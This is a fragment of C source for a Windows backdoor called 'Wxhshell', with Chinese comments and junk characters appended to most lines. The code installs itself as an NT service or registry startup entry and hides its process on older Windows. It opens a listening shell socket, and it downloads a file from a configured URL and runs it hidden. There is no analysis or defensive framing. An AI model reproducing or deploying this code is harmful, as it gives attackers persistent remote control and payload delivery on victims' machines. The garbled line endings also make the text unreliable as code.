ULONG UniqueProcessId; .RpJZ[E
ULONG InheritedFromUniqueProcessId; Xmr}$<<=
} PROCESS_BASIC_INFORMATION; MT/jpx
{]>c3=~FQb
PROCNTQSIP NtQueryInformationProcess; Ql{#dcRx
r<0E[~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *duG/?>P
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dBI-y6R
Y|R=^
=d\
HANDLE hProcess; _9>,9aL
PROCESS_BASIC_INFORMATION pbi; Hf('BagBL
SRfh{u
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m]?Z_*1
if(NULL == hInst ) return 0; 9\ "\7S/Z
W^iK9|[qp
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &%fcGNzJQ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V,KIi_Z
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <%^/uS
QYbB\Y
if (!NtQueryInformationProcess) return 0; H?"M&mF
vYRY?~8 C
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P3Ql[2
if(!hProcess) return 0; cH&)Iz`f
-H%v6E%yh
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a{ST4d'T
Rs=Fcvl
CloseHandle(hProcess); _&l8^MD
2 `AdNt,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +,spC`M6h
if(hProcess==NULL) return 0; c~U0&V_`j
GQt5GOt
HMODULE hMod; ]~;*9`:
char procName[255]; LtB5;ByeQ0
unsigned long cbNeeded; ?d%)R*3IX
pwN2Nzski
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yh95W
'bx}[
CloseHandle(hProcess); =b%f@x_U1
s:_hsmc"
if(strstr(procName,"services")) return 1; // 以服务启动
!`_f
HwFg;r
return 0; // 注册表启动 TFkG"ev
} ) k/&,J3
0#NMNZ
// 主模块 QD.5oS
int StartWxhshell(LPSTR lpCmdLine) =OK#5r[UV
{ dSwfea_
SOCKET wsl; _YX% M|#
BOOL val=TRUE; 04U|Frc
int port=0; }tt%J[
struct sockaddr_in door; 1 fcV&qHR
l-w4E"n3
if(wscfg.ws_autoins) Install(); 3}}/,pGSc
eY3:Nl^
port=atoi(lpCmdLine); eP~3m
IX+Jf? &^
if(port<=0) port=wscfg.ws_port; nC3+Zka
wwl,F=| Y
WSADATA data; ).kU7;0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x[t?hl=:
"22./vWV|i
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R"OT&:0/
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d_
=K (}eR
door.sin_family = AF_INET; '5aA+XP|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); "5eD
>!
door.sin_port = htons(port); lB27Z}
oI-Fr0!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W_XFTqp^
closesocket(wsl); L@\t]
~
return 1; W,~*pyLdO
} ++~
G\T9H
;d<XcpK}
if(listen(wsl,2) == INVALID_SOCKET) { TU?n;h#TZ
closesocket(wsl); k
Fl*Im
return 1; %# uw8V
} [g}^{ $`
Wxhshell(wsl); N,w6
WSACleanup(); q<\r}1Dm
+_:p8,
5o
return 0; |!K&h(J|
ScJ:F-@>
} xd3mAf
5tv*uz|fv
// 以NT服务方式启动 GYw/KT~$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u|23M,
{ 8!v|`Ky
DWORD status = 0; `x=kb;
DWORD specificError = 0xfffffff; tgBA(2/Co
n^QDMyC;I
serviceStatus.dwServiceType = SERVICE_WIN32; m@nGXl'!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; fp||<B
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =3,<(F5Y[
serviceStatus.dwWin32ExitCode = 0; hak#Iz0[C
serviceStatus.dwServiceSpecificExitCode = 0; K/(LF}
serviceStatus.dwCheckPoint = 0; ?bd!JW bg`
serviceStatus.dwWaitHint = 0; h`fZ8|yw
<=uO*s>%
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {;bec%pq0
if (hServiceStatusHandle==0) return; TJ>YJD
R&s/s`pLW
status = GetLastError(); Jur$O,u40l
if (status!=NO_ERROR) 0D:uM$
i]
{ @uC-dXA"
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3znhpHO)
serviceStatus.dwCheckPoint = 0; R GV{KL
serviceStatus.dwWaitHint = 0; N+SA$wG
serviceStatus.dwWin32ExitCode = status; [9?]|4
serviceStatus.dwServiceSpecificExitCode = specificError; iP7KM*ks
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e7G>'K
return; /_fZ2$/
} Ypm*or
b<fN,U<k
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ct/6<
serviceStatus.dwCheckPoint = 0; 'PMzm/;8st
serviceStatus.dwWaitHint = 0; >VjtKSN
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fR.raI4et
} nb5%a
D622:Y886
// 处理NT服务事件,比如:启动、停止 Zo-Au
VOID WINAPI NTServiceHandler(DWORD fdwControl) zh !/24p9
{ JmF`5
switch(fdwControl)
K~L"A]+
{ @TKQ_7BcB
case SERVICE_CONTROL_STOP: 7({.kD6
serviceStatus.dwWin32ExitCode = 0; $o\Uq
serviceStatus.dwCurrentState = SERVICE_STOPPED; "z.!h(Eq
serviceStatus.dwCheckPoint = 0; y^p%/p%
serviceStatus.dwWaitHint = 0; @Ng q+uXm
{ [\HAJA,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nkk GJV!
} suj}A
return; jaThS!>v
case SERVICE_CONTROL_PAUSE: n;b9f|&z
serviceStatus.dwCurrentState = SERVICE_PAUSED; fZd~},X
break; :+DAzjwO<
case SERVICE_CONTROL_CONTINUE: :?%_JM5U
serviceStatus.dwCurrentState = SERVICE_RUNNING; >fR#U"KPAB
break; b=Sl`&A
case SERVICE_CONTROL_INTERROGATE: ]:^kw$
break; d@|j>Z
}; '9wD+'c=A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s|!b: Ms`
} D/{ Spw@
=7P; /EV
// 标准应用程序主函数 /=OSGIJzm
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b!37:V\#}
{ X>jwjRK
$
Dc>)j s|"
// 获取操作系统版本 r52,f%nlm
OsIsNt=GetOsVer();
uP ?gGo
GetModuleFileName(NULL,ExeFile,MAX_PATH); [/t/694
!as<UH"\
// 从命令行安装 sEfGf.
if(strpbrk(lpCmdLine,"iI")) Install(); xcIZ'V
^?[^o\/@R
// 下载执行文件 Z42v@?R.!W
if(wscfg.ws_downexe) { Z@i MG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %@M/)"k
WinExec(wscfg.ws_filenam,SW_HIDE); fs]Zw mA^
} h$zPQ""8
K[TMTn
if(!OsIsNt) { &9] [~$
// 如果时win9x,隐藏进程并且设置为注册表启动 .J\U|r
HideProc(); M/sqOhg
StartWxhshell(lpCmdLine); El&pux2
} A[':O*iB
else &<i>)Ss
if(StartFromService()) U7fE6&g
// 以服务方式启动 g?o$:>c
StartServiceCtrlDispatcher(DispatchTable); /[#{#:lo2
else L@R%*-a
// 普通方式启动 I0jEhg%JZ
StartWxhshell(lpCmdLine); Iei4yDv ;
J&: